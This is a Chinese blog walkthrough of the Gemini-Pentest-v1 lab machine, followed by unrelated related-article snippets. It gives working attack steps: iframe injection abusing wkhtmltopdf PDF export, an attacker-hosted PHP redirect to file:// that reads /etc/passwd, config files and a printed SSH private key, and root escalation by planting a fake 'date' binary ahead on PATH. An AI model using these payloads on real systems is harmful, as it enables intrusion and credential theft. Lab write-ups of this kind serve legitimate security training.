18、Gemini-Pentest-v1

news2024/11/25 16:53:59

难度 中 (个人认为是高)

目标 root权限 一个flag

靶机启动环境为VMware

kali 192.168.152.56 靶机 192.168.152.64

信息收集

突破点大概就是web端了

web测试

访问主页直接就是目录遍历

不过进去后是一个正常的网页

简单的试了几个弱口令无果继续信息收集

在主页介绍了一下这个网站的作用是一个旨在让员工查看他们的个人资料详细信息,并允许他们将详细信息导出为PDF的系统

通过目录扫描扫描出了一些php文件但是大部分都打开没有内容估计是没有登录没有权限,但是有一个export.php的网页访问有显示

看着好像是管理员的一些信息

应该是有个名为 Gemini 的管理员账号,难道是爆破密码吗

后面我抓包研究这个PDF发现了一个参数?filename=还以为是文件包含,测了半天发现也不存在,实在没啥思路了只能去看一看wp

搞半天直接去github找源码里面有默认的账号密码。。。

这样太没意思了吧。。。

就这个网站

在install的时候应该是默认有个账号

看着是弱口令,也许一开始选择爆破或许也会出来,只不过这个网站有做了token验证需要写脚本也有点麻烦

进来后可以看到正是管理员的账号

突破边界

这里突破使用的方法我也是第一次遇到,当时信息收集的时候也没想过这个wkhtmltopdf会不会有什么漏洞

在actions中的编辑profile中会跳转到之前的exports.php

可以查看到当pdf的一些信息,可以看到使用的就是wkhtmltopdf

这个工具就是将html转换为PDF,此命令行工具存在一个SSRF搭配文件包含的漏洞可以实现任意文件的读取

在前期的测试中队每个输入点进行一遍测试可以发现这个display name的位置存在xss也就是可以影响到前段的html

为了验证是否存在相关漏洞可以先在此位置尝试能否加载远程的资源

<iframe src="http://ww.baidu.com"></iframe>  看能否加载百度

可以看到确实可以加载外部资源

既然可以远程文件包含那么可以尝试本地文件包含,但是此漏洞需要配合一下ssrf,需要再攻击机上写个用来重定向的代码让靶机去解析。

所以先在攻击机上面开始apache服务以及有php语言的环境然后在/var/www/html下面创建一个ssrf.php(当然能这样实现还是因为这个wkhtmltopdf存在这种解析漏洞)

写入

<?php header('location:file://'.$_REQUEST['url']); ?>

这个参数就可以用来指定具体的文件来读取

然后开启apache

service apache2 start

然后回到页面进行编辑之前的注入点

<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd"></iframe>

因为只有在html转为PDF才会触发漏洞所以只能在export页面查看

可以看到成功的实现了文件的读取,就是框框有点小,而且还不能滑动。

重新修改一下iframe的属性把框框变大些

<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd" width=800 height=4000></iframe>

现在就可以很舒服的读取文件了

通过查看这个passwd发现只有root和gemini1两个用户能登录,可以对gemini1进行ssh的爆破,也可以继续对靶机读取一些敏感文件

在github上面查看源码的时候其实在setting.php中出现了需要填写的数据库的账号密码的地方,是否可以尝试读取这些文件获取这些来作为ssh的登录密码呢

但是需要猜测一下绝对路径

/var/www/html/test2/inc/settings.php

<iframe src="http://192.168.152.56/ssrf.php?url=/var/www/html/test2/inc/settings.php" width=800 height=4000></iframe>

 

确实有密码等信息不过拿去用来登录可惜了都失败了。。。

那么前面得知了gemini1用户以及他的home目录是否他开启了私钥登录可以尝试去读取一下他的私钥或公钥呢

/home/gemini1/.ssh/id_rsa

<iframe src="http://192.168.152.56/ssrf.php?url=/home/gemini1/.ssh/id_rsa" width=800 height=4000></iframe>

也是成功的读取到了rsa了

-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs 6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu 968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9 r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7 WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k= -----END RSA PRIVATE KEY----- 

当然能不能登录还是等看看靶机上有没有公钥,于是还在读取一下.ssh/authorized_keys中有没有对应的公钥

存在公钥说明是允许某个私钥进行登录的,而且就属于gemini1

那么就可以拿着私钥去登录了

一开始还爆了个错误发现是权限问题,修改为600就可以了

提权

本次提权也是非常的有难度有细节。

首先进行常见的几种提权手法,看看内核版本,试一试sudo发现都要密码,看看是否有suid提权

并没有看到我熟知的几种可以直接用来提权的命令,然后可以一个一个去尝试但是大部分命令都要密码

直到尝试了这个listinfo

这个命令比较奇怪,打印了网卡的信息,以及两个端口的监听情况和date信息,在网上搜索了一下也没有这个命令很有可能是自己添加的

查看信息发现是一个elf的可执行文件

使用strings查看elf中出现可打印的字符串信息

发现他应该是将这个几个命令的结果整合到了一起然后打印输出

如果说我们替换了其中的一些命令那么listinfo在执行的时候是不是就会执行替换后的命令,但是这里前三个命令都指定了具体的路径并且这些文件都是当前用户没有权限进行修改的,只有最后一个date没有指定具体的路径给我们留下了可趁之机

用一段c代码保存为date.c

作用是以root的权限开启一个bin/bash

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");

}

然后使用gcc编译

gcc date.c -o date

因为没有date指定具体的路径

在实际中date是根据环境变量中的路径去找的,从左往右找,这里他的实际路径在/bin下面

我们也无法对直接将date放到前面几个变量中,不过可以直接导入新的环境变量

export PATH=/home/gemini1/:$PATH

这下他找date命令就会先到gemini1下面找了

一切准备就绪后就可以再次运行listinfo命令了

成功提权至root并且拿到flag

后记

        也是很有难度的一次提权,对于一个命令的猜测和探索,从而发现这样的提权的方式,并且后续的利用date进行提升权限直接用的c代码编译为可执行成功也很有意思,要是独立完成可能还真拿不下,不过又学到了新的姿势。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2124971.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是HTTPS协议?

HTTPS协议&#xff08;Hypertext Transfer Protocol Secure&#xff09;即安全超文本传输协议&#xff0c;是互联网上进行安全通信的一种重要协议。它是在HTTP&#xff08;Hypertext Transfer Protocol&#xff09;协议的基础上增加了安全性的要求&#xff0c;通过SSL&#xff…

ffmpeg面向对象-rtsp拉流相关对象

目录 1.AVFormatContext类。1.1 概述1.2 构造函数1.3 oopc的继承实现 2. AVInputFormat 类。2.1 多态的实现 3.所用设计模式3.1模板模式3.2 工厂模式&#xff1f; 3.3 rtsp拉流建链 4.this指针5.小结6.rtsp拉流流程 1.AVFormatContext类。 1.1 概述 用户看到的是AVFormatCont…

精益管理|Toyota Kata 是什么意思?

丰田套路是一种培养持续改进习惯的系统方法&#xff0c;也是精益管理&#xff08;CLMP&#xff09;中的一套方法。“Toyota Kata”一词来自精益专家 Mike Rother 的管理书籍《Toyota Kata&#xff1a;Managing People for Improvement, Adaptiveness, and Superior Results》。…

2024/9/11 小型PLC典型应用2:伺服canlink配置、指令、应用

下面这个指令需要设置伺服的急停方式&#xff08;例如&#xff1a;惯性停机、急停等等&#xff09; 通讯故障步骤排查 1&#xff1a;接线问题 2&#xff1a;配置问题&#xff08;波特率.....&#xff09;

安卓13允许app启动服务 android13允许应用启动服务 无法启动服务 Background start not allowed: service

总纲 android13 rom 开发总纲说明 文章目录 1.前言2.问题分析3.代码分析4.代码修改5.编译6.彩蛋1.前言 android13应用启动服务,有些应用会被禁止启动服务,开启的服务会失败,这是高版本的android的特性,我们需要更改下frameworks的代码。 2.问题分析 查看下logcat信息 B…

百元榜哪个牌子的蓝牙耳机最好用?四大闭眼入高性价比耳机推荐!

蓝牙耳机的普及率在近年来越来越高&#xff0c;行业发展十分迅猛&#xff01;在很多好的品牌涌现的同时&#xff0c;也有很多的品牌质量不过关&#xff0c;货不对版&#xff0c;使得很多的人以为&#xff0c;百元的就没有好用蓝牙耳机&#xff0c;不少小伙伴在选择蓝牙耳机的时…

N-152基于java贪吃蛇游戏5

开发工具eclipse,jdk1.8 文档截图&#xff1a; N-152基于java贪吃蛇游戏5

抽象工厂模式abstract factory

此篇为学习笔记&#xff0c;原文链接 https://refactoringguru.cn/design-patterns/abstract-factory 它能创建一系列相关的对象&#xff0c; 而无需指定其具体类。抽象工厂提供了一个接口&#xff0c; 可用于创建每个系列产品的对象。 优点 你可以确保同一工厂生成的产品相…

2024/9/10黑马头条跟学笔记(六)

D6 1.今日学习内容 1.1需求分析 点击下架之后&#xff0c;app端显示以下架 耦合&#xff0c;没技术点&#xff0c;不用&#xff0c;咱用kafka&#xff0c;流量削峰&#xff0c;异步调用&#xff0c;解耦 为什么要学&#xff1f; 面时提问 2.kafka概述 rabbitMQ&#xff0c;…

C#基础:字段的初始化,特性,类的继承和多态基础demo

目录 一、字段 1.认识字段和属性 2.初始化字段 二、特性 1.特性的基础 2.特性的自定义和使用 三、继承 1.多继承 2.重写父类和增加子类方法 四、多态 一、字段 1.认识字段和属性 public class Test { public int field //我是字段public int property { get; set; …

建议AI大模型小白必看的学习教程!!

逼自己两周刷完 AI大模型(白嫖) LLM大模型自用资料&#xff0c;以及学习路线整理 整理了我入门大模型的学习路线和自用资料&#xff0c;在全民LLM时期&#xff0c;多输入一些就多一重安全感。建议先对LLM全貌有了解&#xff0c;然后自顶向下去学习。前置知识是nlp基础如transf…

Vue3.5正式上线,有哪些新特性和用法?

9月1日&#xff0c; Vue 3.5 正式发布了&#xff01; 此次要版本不包含重大更改&#xff0c;并且包括内部改进和有用的新功能。我们将在这篇博文中介绍一些亮点 - 有关更改和新功能的完整列表&#xff0c;请参阅 GitHub 上的完整更新日志。 1. Props 解构 在vue3.5 之前&#…

C语言14--作用域与存储期

作用域基本概念 C语言中&#xff0c;标识符都有一定的可见范围&#xff0c;这些可见范围保证了标识符只能在一个有限的区域内使用&#xff0c;这个可见范围&#xff0c;被称为作用域&#xff08;scope&#xff09;。 软件开发中&#xff0c;尽量缩小标识符的作用域是一项基本原…

细致刨析JDBC ③ 高级篇

目录 一、JDBC优化及工具类封装 1.现有问题 2.JDBC工具类封装V1.0 3.ThreadLocal 4.JDBC工具类封装V2.0 二、DAO封装及BaseDAO工具类 1.BaseDAO概念 2.BaseDao层代码实现 ① BaseDao层——通用的修改方法 ② 通用的查询方法 ③ 单行查询方法优化 三、事务 1、事务回顾 2.JDBC中…

批量操作Excel的四个方法(求和、移动、对比、合并)

Excel文件肯定少不了保存大量数据&#xff0c;那么在使用excel的时候会不会要大批量数据进行操作&#xff1f;今天分享4个快速使用excel操作的小技巧。希望能够帮大家提高excel制作效率。 技巧一&#xff1a;快速求和 当你想要分别得到行列的总和&#xff0c;我们可以选中表格…

WeChatFerry学习使用

准备 下载软件安装微信 安装python环境 conda create --prefixD:\PythonEnvs\wechatrobotstu python3.10 conda activate D:\PythonEnvs\wechatrobotstu使用 新建python项目 安装依赖包 pip install --upgrade wcferry -i https://pypi.doubanio.com/simple解压dll到一个…

安卓开发板_联发科MTK开发板使用ADB开发

1. ADB 使用 1.1. 前言 ADB&#xff0c;全称 Android Debug Bridge&#xff0c;是 Android 的命令行调试工具&#xff0c;可以完成多种功能&#xff0c;如跟踪系统日志&#xff0c;上传下载文件&#xff0c;安装应用等。 1.2. 准备连接 使用 adb时&#xff0c;你需要&#x…

转到大模型方向来得及吗?

最近不少同学问想搞大模型来得及吗&#xff1f;咨询的同学分成两类&#xff0c;一类是在公司的同学&#xff0c;一类是在校的同学。 第一&#xff0c;对于在校的同学。 一句话&#xff0c;能转到这个方向尽快转。今年校招包括招聘实习生&#xff0c;很多方向比如搜索推荐广告…

敏捷与企业架构:战略联盟

介绍 企业架构的三大支柱是对齐、洞察力和质量。 对齐&#xff1a;企业架构&#xff08;Enterprise Architecture&#xff09;使战略与运营、业务需求与IT供应保持一致&#xff0c;并确保这些变化符合企业战略和目标。 洞察力&#xff1a;企业架构提供对组织、信息系统和技术…

基于JavaWeb开发的Java+jquery+SpringMVC校园网站平台设计和实现

基于JavaWeb开发的JavajquerySpringMVC校园网站平台设计和实现 &#x1f345; 作者主页 网顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; &#x1f345; 查看下方微信号获取联系方式 承接各种…